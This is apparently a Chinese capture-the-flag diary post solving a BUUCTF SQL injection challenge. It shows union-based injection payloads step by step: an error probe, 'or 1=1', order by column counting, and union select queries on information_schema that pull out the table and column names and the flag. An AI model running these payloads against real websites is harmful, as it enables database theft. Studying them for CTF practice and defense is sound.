BUUCTF刷题系列(1)5.25日记
阅读原文时间:2022年04月27日阅读:1

前面的题目都不太难,就直接从SQL注入开始了。

这个样子的话,明显就是注入,我们先拿出SQL语句:http://fb415201-6634-4fc3-a6bc-a67b84ea1ed2.node3.buuoj.cn/index.php?id=1

1‘报错
1' or 1=1 --+ 正常,Ok随后order by 到3没问题 4就报错

注:没显示什么就是报错了。

order by主要是用来查看这个注入点网页显示多少字段,比如order by9不报错,order by10报错,那么这个网页就有9个字段,最后手动爆库的时候,union select 1,2,3,4,5,7,8,9

接下来我们开始查库查表查字段

  查库名
  payload:?id=-1' union select 1,database(),3 --+
  回显说数据库名就是 note

查表名

?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 0,1 --+

?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 1,1 --+

相比之下 fl4g更可疑一些,先查一下它的字段
  payload:?id=-1' union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='fl4g' --+
  成功得到列名

查询字段
  payload:?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+
  得到flag了!

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章